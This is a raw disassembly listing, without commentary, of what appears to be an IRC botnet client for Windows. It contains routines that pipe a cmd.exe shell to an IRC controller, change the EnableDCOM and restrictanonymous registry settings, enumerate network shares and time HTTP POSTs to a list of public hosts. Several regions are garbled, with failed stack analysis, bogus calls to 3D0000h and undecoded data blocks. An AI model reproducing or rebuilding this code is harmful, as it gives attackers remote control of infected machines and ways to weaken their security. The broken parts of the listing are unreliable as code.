arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset dword_44EB88
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41D260
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_4192E8
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40145D
add esp, 14h
loc_4192E8: ; CODE XREF: sub_419289+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_419046
add esp, 18h
test eax, eax
jnz short loc_419310
push offset dword_44EBCC
jmp short loc_419315
; ---------------------------------------------------------------------------
loc_419310: ; CODE XREF: sub_419289+7Ej
push offset dword_44EC18
loc_419315: ; CODE XREF: sub_419289+85j
lea eax, [ebp+var_298]
push eax
call sub_41D260
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_419348
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40145D
add esp, 14h
loc_419348: ; CODE XREF: sub_419289+9Dj
lea eax, [ebp+var_298]
push eax
call sub_4161A7
push [ebp+var_14]
call sub_40905B
pop ecx
pop ecx
push esi
call near ptr 3D0000h
and ebx, [edi+5Eh]
sub_419289 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419367 proc near ; CODE XREF: seg000:00407073p
; sub_408E7A+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call near ptr 3D0000h
std
mov esi, eax
test esi, esi
jz short loc_419399
push 0
push esi
call near ptr 3D0000h
sbb [ebp+560975C0h], eax
xor edi, edi
call ds:dword_4F12FC ; CloseHandle
loc_419399: ; CODE XREF: sub_419367+1Aj
mov eax, edi
pop edi
pop esi
retn
sub_419367 endp
; ---------------------------------------------------------------------------
push esi
xor esi, esi
loc_4193A1: ; CODE XREF: seg000:004193BCj
push 1
push esi
push esi
push esi
push esi
push esi
call sub_419046
add esp, 18h
push ds:dword_44E98C
call ds:dword_4F12F4 ; Sleep
jmp short loc_4193A1
; =============== S U B R O U T I N E =======================================
sub_4193BE proc near ; CODE XREF: sub_4193EE+2Ap
; seg000:004194A4p ...
mov eax, ds:dword_4EE7A4
push esi
mov esi, ds:dword_4F12FC
cmp eax, 0FFFFFFFFh
jz short loc_4193D2
push eax
call esi ; dword_4F12FC
loc_4193D2: ; CODE XREF: sub_4193BE+Fj
mov eax, ds:dword_4EE7AC
cmp eax, 0FFFFFFFFh
jz short loc_4193DF
push eax
call esi ; dword_4F12FC
loc_4193DF: ; CODE XREF: sub_4193BE+1Cj
mov eax, ds:dword_4EE7A0
cmp eax, 0FFFFFFFFh
jz short loc_4193EC
push eax
call esi ; dword_4F12FC
loc_4193EC: ; CODE XREF: sub_4193BE+29j
pop esi
retn
sub_4193BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193EE proc near ; CODE XREF: seg000:00406FBEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41AC70
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push ds:dword_4EE7A8
call near ptr 3D0000h
sahf
test eax, eax
jnz short loc_419421
call sub_4193BE
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419421: ; CODE XREF: sub_4193EE+28j
push 1
pop eax
leave
retn
sub_4193EE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 200h
push offset dword_4EE7EC
push dword ptr [ebp+0Ch]
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_419469
push 7D0h
call ds:dword_4F12F4 ; Sleep
push dword ptr [ebp+10h]
lea eax, [ebp-200h]
push dword ptr [ebp+0Ch]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41D260
add esp, 10h
jmp short loc_419480
; ---------------------------------------------------------------------------
loc_419469: ; CODE XREF: seg000:00419440j
push dword ptr [ebp+10h]
lea eax, [ebp-200h]
push offset aS_24 ; CODE XREF: seg000:004194EFj
; "%s"
push eax
call sub_41D260
add esp, 0Ch
loc_419480: ; CODE XREF: seg000:00419467j
lea eax, [ebp-200h]
push 0
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-200h]
push eax
push dword ptr [ebp+8]
call ds:dword_451540
test eax, eax
jg short loc_4194A9
call sub_4193BE
loc_4194A9: ; CODE XREF: seg000:004194A2j
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4194AD: ; DATA XREF: sub_419602+174o
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4EE7B0
push esi
lea eax, [ebp-20Ch]
push edi
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp-4]
push edi
push edi
push eax
lea eax, [ebp-20Ch]
push esi
push eax
push ds:dword_4EE7A4
call near ptr 3D0000h
jnp short near ptr loc_419472+4
ror byte ptr [edi], 84h
wait
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 75FC7D39h, 0F8458D2Bh, 0A035FF50h, 0E8004EE7h, 0FFFB6AF4h
dd 74C08595h, 0F87D810Dh, 103h, 99850Fh, 0A6A0000h, 12F415FFh
dd 9DEB004Fh, 7D39C033h, 801076FCh, 0FDF405BCh, 740AFFFFh
dd 453B4054h, 89F072FCh, 8D56FC75h, 0FFFDF485h, 0E85057FFh
dd 3BB0h, 8D0CC483h, 5057F445h, 8DFC75FFh, 0FFFDF485h
dd 35FF50FFh, 4EE7A4h, 137415FFh, 0C085004Fh, 858D6D74h
dd 0FFFFFDF4h, 35FF5350h, 4EE7E4h, 0FFFEA1E8h, 0CC483FFh
dd 0FFFF38E9h, 458940FFh, 68AFEBFCh, 44EC78h, 0E435FF53h
dd 0E8004EE7h, 0FFFFFE82h, 0E80875FFh, 0FFFEFAAFh, 6A10C483h
dd 6A4AE801h, 0E845FFFBh, 0FFFFFE02h, 44ECC068h, 35FF5300h
dd 4EE7E4h, 0FFFE59E8h, 875FFFFh, 0FEFA86E8h, 10C483FFh
dd 6A22E857h, 684DFFFBh, 44ECFCh, 0E435FF53h, 0E8004EE7h
dd 0FFFFFE36h, 0E80875FFh, 0FFFEFA63h, 5710C483h, 0FB69FFE8h
db 0FFh, 0Dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419602 proc near ; CODE XREF: seg000:00407C1Dp
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push esi
push edi
call sub_4193BE
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call ds:dword_4515AC
test eax, eax
jz loc_4196FC
lea eax, [ebp+var_1C]
mov edi, ds:dword_4F1394
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], 1
mov [ebp+var_18], esi
call edi ; dword_4F1394
test eax, eax
jz loc_4196FC
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi ; dword_4F1394
test eax, eax
jz loc_4196FC
mov edi, ds:dword_4F1390
push 3
push esi
push esi
push offset dword_4EE7A8
call edi ; dword_4F1390
push eax
push [ebp+var_8]
call edi ; dword_4F1390
push eax
call near ptr 3D0000h
add eax, 5F74C085h
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41D100
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41D100
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
lea eax, [ebp+var_178]
push offset dword_4EE7F0
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call near ptr 3D0000h
db 65h
test eax, eax
jnz short loc_419704
loc_4196FC: ; CODE XREF: sub_419602+2Ej
; sub_419602+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_4197B6
; ---------------------------------------------------------------------------
loc_419704: ; CODE XREF: sub_419602+F8j
push [ebp+var_4]
mov edi, ds:dword_4F12FC
call edi ; dword_4F12FC
mov eax, [ebp+var_10]
push [ebp+var_28]
mov ds:dword_4EE7A4, eax
mov eax, [ebp+var_8]
mov ds:dword_4EE7AC, eax
mov eax, [ebp+var_2C]
mov ds:dword_4EE7A0, eax
call edi ; dword_4F12FC
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov ds:dword_4EE7E4, eax
jz short loc_41973E
push [ebp+arg_4]
jmp short loc_419743
; ---------------------------------------------------------------------------
loc_41973E: ; CODE XREF: sub_419602+135j
push offset dword_4EE7F4
loc_419743: ; CODE XREF: sub_419602+13Aj
push offset dword_4EE7B0
call sub_41D260
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_44ED4C
call sub_408D3F
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov ds:dword_4523C0[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset loc_4194AD
push esi
push esi
call ds:dword_4F131C ; CreateThread
cmp eax, esi
mov ds:dword_4523CC[edi], eax
jnz short loc_4197B4
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_378]
push offset unk_44ED84
push eax
call sub_41D260
lea eax, [ebp+var_378]
push eax
call sub_4161A7
add esp, 10h
loc_4197B4: ; CODE XREF: sub_419602+189j
xor eax, eax
loc_4197B6: ; CODE XREF: sub_419602+FDj
pop edi
pop esi
leave
retn
sub_419602 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+8]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp-98h]
rep movsd
pop edi
pop esi
push dword ptr [ebp-8]
cmp dword ptr [ebp-10h], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp-94h]
push dword ptr [ebp-0Ch]
push eax
push dword ptr [ebp-98h]
jz short loc_419801
call near ptr loc_419819+1
jmp short loc_419806
; ---------------------------------------------------------------------------
loc_419801: ; CODE XREF: seg000:004197F8j
call loc_419B3E
loc_419806: ; CODE XREF: seg000:004197FFj
add esp, 10h
push dword ptr [ebp-14h]
call sub_40905B
pop ecx
push 0
call near ptr 3D0000h
loc_419819: ; CODE XREF: seg000:004197FAp
rep push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp ds:dword_4515C0, edi
jnz loc_41994C
lea eax, [ebp-4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call ds:dword_451560
test eax, eax
jnz short loc_4198A5
mov ax, ds:word_44EE10
mov [ebp-6], ax
lea eax, [ebp-6]
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-6]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push dword ptr [ebp-4]
call ds:dword_451518
test eax, eax
jz short loc_419887
push offset unk_44EE20
jmp short loc_41988C
; ---------------------------------------------------------------------------
loc_419887: ; CODE XREF: seg000:0041987Ej
push offset dword_44EE60
loc_41988C: ; CODE XREF: seg000:00419885j
lea eax, [ebp-214h]
push eax
call sub_41D260
pop ecx
pop ecx
push dword ptr [ebp-4]
call ds:dword_4514D0
jmp short loc_4198B8
; ---------------------------------------------------------------------------
loc_4198A5: ; CODE XREF: seg000:00419850j
lea eax, [ebp-214h]
push offset unk_44EE98
push eax
call sub_41D260
pop ecx
pop ecx
loc_4198B8: ; CODE XREF: seg000:004198A3j
cmp [ebp+14h], edi
jnz short loc_4198D7
push 1
lea eax, [ebp-214h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
add esp, 14h
loc_4198D7: ; CODE XREF: seg000:004198BBj
lea eax, [ebp-214h]
push eax
call sub_4161A7
pop ecx
lea eax, [ebp-4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call ds:dword_451560
test eax, eax
jnz short loc_419945
lea eax, [ebp-8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push dword ptr [ebp-4]
mov dword ptr [ebp-8], 1
call ds:dword_451518
test eax, eax
jz short loc_419927
push offset unk_44EEF8
jmp short loc_41992C
; ---------------------------------------------------------------------------
loc_419927: ; CODE XREF: seg000:0041991Ej
push offset unk_44EF50
loc_41992C: ; CODE XREF: seg000:00419925j
lea eax, [ebp-214h]
push eax
call sub_41D260
pop ecx
pop ecx
push dword ptr [ebp-4]
call ds:dword_4514D0
jmp short loc_41995F
; ---------------------------------------------------------------------------
loc_419945: ; CODE XREF: seg000:004198FCj
push offset unk_44EFA0
jmp short loc_419951
; ---------------------------------------------------------------------------
loc_41994C: ; CODE XREF: seg000:0041982Dj
push offset unk_44EFF8
loc_419951: ; CODE XREF: seg000:0041994Aj
lea eax, [ebp-214h]
push eax
call sub_41D260
pop ecx
pop ecx
loc_41995F: ; CODE XREF: seg000:00419943j
cmp [ebp+14h], edi
jnz short loc_41997E
push 1
lea eax, [ebp-214h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
add esp, 14h
loc_41997E: ; CODE XREF: seg000:00419962j
lea eax, [ebp-214h]
push eax
call sub_4161A7
cmp ds:dword_4515E8, edi
pop ecx
jnz loc_419AF9
push ebx
mov [ebp-4], edi
mov [ebp-14h], edi
mov [ebp-0Ch], edi
loc_4199A1: ; CODE XREF: seg000:00419ADDj
lea eax, [ebp-0Ch]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-4]
push eax
lea eax, [ebp-8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call ds:dword_45143C
cmp eax, edi
mov [ebp-10h], eax
jz short loc_419A3E
cmp eax, 0EAh
jz short loc_419A3E
mov esi, offset off_44EDD0
loc_4199D2: ; CODE XREF: seg000:00419A37j
push dword ptr [esi]
push edi
call sub_418611
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_4199E9
push offset unk_44F0C8
jmp short loc_4199EE
; ---------------------------------------------------------------------------
loc_4199E9: ; CODE XREF: seg000:004199E0j
push offset unk_44F104
loc_4199EE: ; CODE XREF: seg000:004199E7j
lea eax, [ebp-214h]
push 200h
push eax
call sub_41D360
add esp, 10h
cmp [ebp+14h], edi
jnz short loc_419A21
push 1
lea eax, [ebp-214h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
add esp, 14h
loc_419A21: ; CODE XREF: seg000:00419A05j
lea eax, [ebp-214h]
push eax
call sub_4161A7
add esi, 8
pop ecx
cmp esi, offset dword_44EDF0
jl short loc_4199D2
jmp loc_419AD6
; ---------------------------------------------------------------------------
loc_419A3E: ; CODE XREF: seg000:004199C4j
; seg000:004199CBj
mov esi, [ebp-8]
push 1
pop ebx
cmp [ebp-4], ebx
jb loc_419ACD
loc_419A4D: ; CODE XREF: seg000:00419AC9j
mov edi, [esi]
push edi
call sub_4201B0
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_419AC2
push edi
call sub_4184FE
push eax
push 0
call sub_418611
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_419A7C
push offset unk_44F044
jmp short loc_419A81
; ---------------------------------------------------------------------------
loc_419A7C: ; CODE XREF: seg000:00419A73j
push offset unk_44F080
loc_419A81: ; CODE XREF: seg000:00419A7Aj
lea eax, [ebp-214h]
push 200h
push eax
call sub_41D360
add esp, 10h
cmp dword ptr [ebp+14h], 0
jnz short loc_419AB5
push 1
lea eax, [ebp-214h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
add esp, 14h
loc_419AB5: ; CODE XREF: seg000:00419A99j
lea eax, [ebp-214h]
push eax
call sub_4161A7
pop ecx
loc_419AC2: ; CODE XREF: seg000:00419A5Cj
add esi, 28h
inc ebx
cmp ebx, [ebp-4]
jbe short loc_419A4D
xor edi, edi
loc_419ACD: ; CODE XREF: seg000:00419A47j
push dword ptr [ebp-8]
call ds:dword_451580
loc_419AD6: ; CODE XREF: seg000:00419A39j
cmp dword ptr [ebp-10h], 0EAh
jz loc_4199A1
lea eax, [ebp-214h]
push offset unk_44F14C
push eax
call sub_41D260
pop ecx
pop ecx
pop ebx
jmp short loc_419B0C
; ---------------------------------------------------------------------------
loc_419AF9: ; CODE XREF: seg000:00419991j
lea eax, [ebp-214h]
push offset unk_44F18C
push eax
call sub_41D260
pop ecx
pop ecx
loc_419B0C: ; CODE XREF: seg000:00419AF7j
cmp [ebp+14h], edi
jnz short loc_419B2A
push edi
lea eax, [ebp-214h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
add esp, 14h
loc_419B2A: ; CODE XREF: seg000:00419B0Fj
lea eax, [ebp-214h]
push eax
call sub_4161A7
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_419B3E: ; CODE XREF: seg000:loc_419801p
push ebp
mov ebp, esp
sub esp, 220h
push esi
push edi
xor edi, edi
cmp ds:dword_4515C0, edi
jnz loc_419C6C
lea eax, [ebp-4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call ds:dword_451560
test eax, eax
jnz short loc_419BC9
mov ax, ds:word_44F1D8
mov [ebp-6], ax
lea eax, [ebp-6]
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-6]
push eax
push 1
push edi
push offset aEnabledcom_0 ; "EnableDCOM"
push dword ptr [ebp-4]
call ds:dword_451518
test eax, eax
jz short loc_419BAB
push offset unk_44F1E8
jmp short loc_419BB0
; ---------------------------------------------------------------------------
loc_419BAB: ; CODE XREF: seg000:00419BA2j
push offset dword_44F224
loc_419BB0: ; CODE XREF: seg000:00419BA9j
lea eax, [ebp-220h]
push eax
call sub_41D260
pop ecx
pop ecx
push dword ptr [ebp-4]
call ds:dword_4514D0
jmp short loc_419BDC
; ---------------------------------------------------------------------------
loc_419BC9: ; CODE XREF: seg000:00419B74j
lea eax, [ebp-220h]
push offset unk_44F25C
push eax
call sub_41D260
pop ecx
pop ecx
loc_419BDC: ; CODE XREF: seg000:00419BC7j
cmp [ebp+14h], edi
jnz short loc_419BFB
push 1
lea eax, [ebp-220h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
add esp, 14h
loc_419BFB: ; CODE XREF: seg000:00419BDFj
lea eax, [ebp-220h]
push eax
call sub_4161A7
pop ecx
lea eax, [ebp-4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call ds:dword_451560
test eax, eax
jnz short loc_419C65
lea eax, [ebp-8]
push 4
push eax
push 4
push edi
push offset aRestrictanon_0 ; "restrictanonymous"
push dword ptr [ebp-4]
mov [ebp-8], edi
call ds:dword_451518
test eax, eax
jz short loc_419C47
push offset unk_44F2BC
jmp short loc_419C4C
; ---------------------------------------------------------------------------
loc_419C47: ; CODE XREF: seg000:00419C3Ej
push offset unk_44F314
loc_419C4C: ; CODE XREF: seg000:00419C45j
lea eax, [ebp-220h]
push eax
call sub_41D260
pop ecx
pop ecx
push dword ptr [ebp-4]
call ds:dword_4514D0
jmp short loc_419C7F
; ---------------------------------------------------------------------------
loc_419C65: ; CODE XREF: seg000:00419C20j
push offset unk_44F364
jmp short loc_419C71
; ---------------------------------------------------------------------------
loc_419C6C: ; CODE XREF: seg000:00419B51j
push offset unk_44F3BC
loc_419C71: ; CODE XREF: seg000:00419C6Aj
lea eax, [ebp-220h]
push eax
call sub_41D260
pop ecx
pop ecx
loc_419C7F: ; CODE XREF: seg000:00419C63j
cmp [ebp+14h], edi
jnz short loc_419C9E
push 1
lea eax, [ebp-220h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
add esp, 14h
loc_419C9E: ; CODE XREF: seg000:00419C82j
lea eax, [ebp-220h]
push eax
call sub_4161A7
cmp ds:dword_4515E8, edi
pop ecx
jnz loc_419E10
mov esi, offset off_44EDD0
loc_419CBC: ; CODE XREF: seg000:00419D25j
push dword ptr [esi+4]
push dword ptr [esi]
push edi
call sub_418565
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_419CD7
push offset unk_44F408
jmp short loc_419CDC
; ---------------------------------------------------------------------------
loc_419CD7: ; CODE XREF: seg000:00419CCEj
push offset dword_44F444
loc_419CDC: ; CODE XREF: seg000:00419CD5j
lea eax, [ebp-220h]
push 200h
push eax
call sub_41D360
add esp, 10h
cmp [ebp+14h], edi
jnz short loc_419D0F
push 1
lea eax, [ebp-220h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
add esp, 14h
loc_419D0F: ; CODE XREF: seg000:00419CF3j
lea eax, [ebp-220h]
push eax
call sub_4161A7
add esi, 8
pop ecx
cmp esi, offset off_44EDE0
jl short loc_419CBC
push ebx
call near ptr 3D0000h
or dword ptr [ebx-7ABE4C08h], 0BE840FFFh
; ---------------------------------------------------------------------------
db 0
dd 0C78B0000h, 3C01E083h, 0A7850F01h, 80000000h, 840F41FBh
dd 9Eh, 56F3BE0Fh, 44F48868h, 0EC458D00h, 0E8500A6Ah, 35FCh
dd 0F48C6856h, 458D0044h, 500A6AE0h, 35EBE8h, 20C48300h
dd 50E0458Dh, 155015FFh, 0F8830045h, 8D677503h, 8D50E045h
dd 6A50EC45h, 0E7CFE800h, 0C483FFFFh, 8DC0850Ch, 7550EC45h
dd 0F4946807h, 5EB0044h, 44F4D068h, 0E0858D00h, 68FFFFFDh
dd 200h, 35A2E850h, 0C4830000h, 147D8310h, 6A1A7500h, 0E0858D01h
dd 0FFFFFFFDh, 0FF501075h, 75FF0C75h, 767FE808h, 0C483FFFEh
dd 0E0858D14h, 50FFFFFDh, 0FFC3BAE8h, 0C3FE59FFh, 850FEFD1h
dd 0FFFFFF42h, 0FDE0858Dh, 1468FFFFh, 500044F5h, 3457E8h
dd 0FF335900h, 13EB5B59h
; ---------------------------------------------------------------------------
loc_419E10: ; CODE XREF: seg000:00419CB1j
lea eax, [ebp-220h]
push offset unk_44F554
push eax
call sub_41D260
pop ecx
pop ecx
cmp [ebp+14h], edi
jnz short loc_419E41
push edi
lea eax, [ebp-220h]
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40145D
add esp, 14h
loc_419E41: ; CODE XREF: seg000:00419E26j
lea eax, [ebp-220h]
push eax
call sub_4161A7
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_419E55 proc near ; CODE XREF: seg000:0041A115p
; seg000:0041A127p ...
arg_0 = dword ptr 4
call ds:dword_4F1340 ; GetTickCount
push eax
call sub_41DB90
pop ecx
call sub_41DBA0
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_419E55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E6F proc near ; CODE XREF: seg000:0041A11Ep
; seg000:0041A130p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41AC70
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41A046
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41D100
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_4024FB
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41A046
push 50h
call ds:dword_4514F4
push 6
push 1
push 2
mov [ebp+var_26], ax
call ds:dword_451570
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41A046
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call ds:dword_45149C
cmp eax, 0FFFFFFFFh
jz loc_41A046
push 32003h
call sub_41FD90
mov edi, ds:dword_4F1340
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi ; dword_4F1340
push eax
call sub_41DB90
call sub_41DBA0
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41D100
push 32000h
push esi
push ebx
call sub_41D100
push ebx
call sub_41AC70
push 323EAh
mov ebx, eax
call sub_41FD90
push ebx
mov esi, eax
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41D260
push [ebp+var_8]
push esi
call sub_41E560
push offset asc_44F5D4 ; "\r\n"
push esi
call sub_41E560
add esp, 40h
push esi
call sub_41AC70
mov ebx, eax
pop ecx
mov [ebp+var_10], ebx
call edi ; dword_4F1340
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_419FC6
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_419F96
; ---------------------------------------------------------------------------
loc_419F93: ; CODE XREF: sub_419E6F+155j
mov eax, [ebp+arg_0]
loc_419F96: ; CODE XREF: sub_419E6F+122j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_419FA6
push [ebp+var_C]
jmp short loc_419FA7
; ---------------------------------------------------------------------------
loc_419FA6: ; CODE XREF: sub_419E6F+130j
push ebx
loc_419FA7: ; CODE XREF: sub_419E6F+135j
add eax, esi
push eax
push [ebp+var_4]
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz short loc_41A02D
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_419F93
loc_419FC6: ; CODE XREF: sub_419E6F+118j
call edi ; dword_4F1340
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul ds:flt_4394DC
fst [ebp+arg_0]
fcomp ds:flt_4394D8
fnstsw ax
sahf
jnz short loc_419FEE
fld1
fstp [ebp+arg_0]
loc_419FEE: ; CODE XREF: sub_419E6F+178j
push [ebp+var_4]
call ds:dword_451588
push [ebp+var_8]
call sub_41B8B0
push esi
call sub_41B8B0
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul ds:flt_4394D4
fmul ds:flt_4394D0
call sub_41F33C
loc_41A028: ; CODE XREF: sub_419E6F+1D9j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A02D: ; CODE XREF: sub_419E6F+147j
push [ebp+var_4]
call ds:dword_451588
push [ebp+var_8]
call sub_41B8B0
push esi
call sub_41B8B0
pop ecx
pop ecx
loc_41A046: ; CODE XREF: sub_419E6F+19j
; sub_419E6F+42j ...
xor eax, eax
jmp short loc_41A028
sub_419E6F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov dword ptr [ebp-4], 3
mov dword ptr [ebp-3Ch], offset aWww_schlund_ne ; "www.schlund.net"
mov dword ptr [ebp-38h], offset aWww_utwente_nl ; "www.utwente.nl"
mov dword ptr [ebp-34h], offset aVerio_fr ; "verio.fr"
mov dword ptr [ebp-30h], offset aWww_1und1_de ; "www.1und1.de"
mov dword ptr [ebp-2Ch], offset aWww_switch_ch ; "www.switch.ch"
mov dword ptr [ebp-28h], offset aWww_belwue_de ; "www.belwue.de"
mov dword ptr [ebp-24h], offset aDe_yahoo_com ; "de.yahoo.com"
mov dword ptr [ebp-20h], offset aWww_google_it ; "www.google.it"
mov dword ptr [ebp-6Ch], offset aWww_xo_net ; "www.xo.net"
mov dword ptr [ebp-68h], offset aWww_stanford_e ; "www.stanford.edu"
mov dword ptr [ebp-64h], offset aWww_verio_com ; "www.verio.com"
